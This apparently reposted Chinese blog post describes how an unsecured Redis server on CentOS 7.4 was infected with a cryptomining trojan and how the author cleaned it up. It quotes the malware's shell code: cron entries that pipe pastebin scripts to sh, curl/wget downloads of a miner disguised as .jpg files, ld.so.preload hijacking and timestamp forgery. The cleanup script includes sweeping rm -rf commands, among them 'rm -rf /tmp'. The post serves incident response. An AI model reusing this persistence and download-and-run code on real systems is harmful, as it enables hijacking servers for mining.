Centos 7.4 服务器 被植入挖矿木马

Stella981
• 阅读 589

背景

最近由于在弄springboot shiro的redis session共享的问题,所以在服务器上部署了redis,因为没有太多的考虑所以没有设置密码。

等到第二天的时候,发现redis外网无法访问内网可以。

查看端口绑定情况  netstat -antlp | grep 6379 发现绑定没有问题

Centos 7.4 服务器 被植入挖矿木马

查看本地的路由,发现绑定到了127.0.0.1

Centos 7.4 服务器 被植入挖矿木马

发现绑定问题之后,就增加一条路由规则

iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

病毒代码

function tables() {
    iptables -I INPUT -p TCP --dport 6379 -j REJECT
    iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
    iptables-save
    touch /tmp/.tables
}

增加了之后终于外网能访问了,利用RedisDesktopManager 再次连接后,发现内容里面多了两条定时任务,感觉很奇怪也没在意,以为不是很大的问题,反正能用也没在意。

终于第三天redis又不能访问了,而且又增加了一条本地端口映射的路由规则。

感觉上服务器有一些问题,马上看了下 服务器ssh登入的 authorized_keys文件,发现里面内容key增加了不少。

于是进行百度查询相关的问题,根据描述基本可以确定中了挖矿木马。

查看服务器的定时任务 crontab -l 始终会有一条定时任务,采用命令crontab -r 进行删除,1分钟后又会自动生成

原理

采用定时任务脚本下载对应的执行程序,并将对应的程序命名成为 libdns.so

下面为部分的定时任务代码

function top() {
   mkdir -p /usr/local/lib/
   if [ ! -f "/usr/local/lib/libdns.so" ]; then
   curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
   if [ ! -f "/usr/local/lib/libdns.so" ]; then
   wget https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
   fi
   fi
   echo /usr/local/lib/libdns.so > /etc/ld.so.preload
   touch -acmr /bin/sh /etc/ld.so.preload
   touch -acmr /bin/sh /usr/local/lib/libdns.so
}

简单点理解,只要你的定时任务不删除,对应的程序就会下载,就会往本地电脑中添加定时任务

定时任务路径

function echocron() {
    echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache
    echo -e "*/23 * * * *    (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * *    (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
    if [ ! -f "/etc/cron.hourly/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
    fi
    mkdir -p /etc/cron.daily
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
    if [ ! -f "/etc/cron.daily/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
    fi
    mkdir -p /etc/cron.monthly
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
    if [ ! -f "/etc/cron.monthly/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
    fi
    touch -acmr /bin/sh /var/spool/cron/root
    touch -acmr /bin/sh /var/spool/cron/crontabs/root
    touch -acmr /bin/sh /etc/cron.d/apache
    touch -acmr /bin/sh /etc/cron.d/root
    touch -acmr /bin/sh /etc/cron.hourly/oanacroner
    touch -acmr /bin/sh /etc/cron.daily/oanacroner
    touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

 病毒程序代码

function downloadrunxm() {
    mkdir -p /var/tmp
    chmod 1777 /var/tmp
    pm=$(netstat -an | grep :56415 | wc -l)
    if [ ${pm} -eq 0 ];then
        rm -rf /var/tmp/config.json*
        curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539581805x1822611359.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json
        if [ ! -f "/var/tmp/config.json" ]; then
            wget https://master.minerxmr.ru/y/1539581805x1822611359.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json
        fi
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        elif [ "$ARCH" == "i386" ]; then
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        else
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        fi
    fi
}

解决方案

1.排查用户是否增加。有增加进行删除(该概率比较小)

2.排查登入免密登入文件是否修改。如果服务器采用 sshkey登入,排查文件authorized_keys 中的key是否有增加(原理 具体详见  ssh 免秘钥登入服务器),最好进行原秘钥登入删除,进行更新,顺便可以考虑更换一下ssh端口(建议,纯粹为了系统安全,更改方式,详见百度)

3.查看所有定时任务执行脚本,明确本地的程序。定时任务查看 crontab -l 查看服务器定时任务,定人任务中包含 wget 网址后面跟了  sh(忘记截图,只能描述一下),然后根据定时任务中的网址进行浏览器访问,会得到一大串的乱码,将乱码复制,然后粘贴到Base64解码工具中进行解码,可以获得 定时任务执行的命令。然后分析对应个的脚本内容。会查看到本地的执行程序 libudev.so ,也可以看到脚本中增加了6379增加了本地路由规则,查看到程序后 进行删除,不删除程序,则会不断增加定时任务到 系统中。(因为已经处理,所以不能配图了)

4.删除定时任务。1) crontab -r 删除任务 2) cd /etc/cron.d  删除apache,及root(经查看本次中的内容跟网上的不太一样,这几个文件中均有定时任务,所以进行了删除)

5.查看进行。top -c 查看占用cup很高的进程(因为已经删除所有不能进行配图),查看到kworkerds 进行,路径在 /tmp下。 kill -9 pid 进行杀死进行,然后进行目录下进行删除内容

Centos 7.4 服务器 被植入挖矿木马

脚本

 iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
 iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
 iptables -A INPUT -s pastebin.com -j DROP
 iptables -A OUTPUT -d pastebin.com -j DROP

rm -rf /bin/dns
crontab -r
rm -rf /etc/cron.d
rm -rf /etc/crontab
rm -rf /usr/local/lib/libdns.so
rm -rf /usr/local/lib/libdns.so
rm -rf /etc/ld.so.preload
rm -rf /tmp/.pythong
rm -rf /var/spool/cron
rm -rf /etc/cron.hourly
rm -rf /etc/cron.daily
rm -rf /etc/cron.monthly
rm -rf /tmp/.tables
rm -rf /etc/init.d/agentwatch
rm -rf /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
killall kworkerds
rm -rf /tmp/kworkerds
rm -rf /var/tmp/config.json
rm -rf /tmp

一段时间后发现 系统定时任务已经不会在增加,并且已经不纯在高消耗cpu的进程了。

总结

**1.**该问题如果需要完全解决,必须好好查看对应的定时任务下载并执行的脚本,而且发现该问题并不是一成不变的,在处理问题的时候发现与百度上描述的还是有很大的区别。

  2.给redis增加上安全控制(很重要)

转载的话,请标明下出处 https://www.cnblogs.com/dyft/articles/9797664.html

点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Wesley13 Wesley13
2年前
Java获得今日零时零分零秒的时间(Date型)
publicDatezeroTime()throwsParseException{    DatetimenewDate();    SimpleDateFormatsimpnewSimpleDateFormat("yyyyMMdd00:00:00");    SimpleDateFormatsimp2newS
Wesley13 Wesley13
2年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
2年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
2年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
2年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
为什么mysql不推荐使用雪花ID作为主键
作者:毛辰飞背景在mysql中设计表的时候,mysql官方推荐不要使用uuid或者不连续不重复的雪花id(long形且唯一),而是推荐连续自增的主键id,官方的推荐是auto_increment,那么为什么不建议采用uuid,使用uuid究
Python进阶者 Python进阶者
2个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这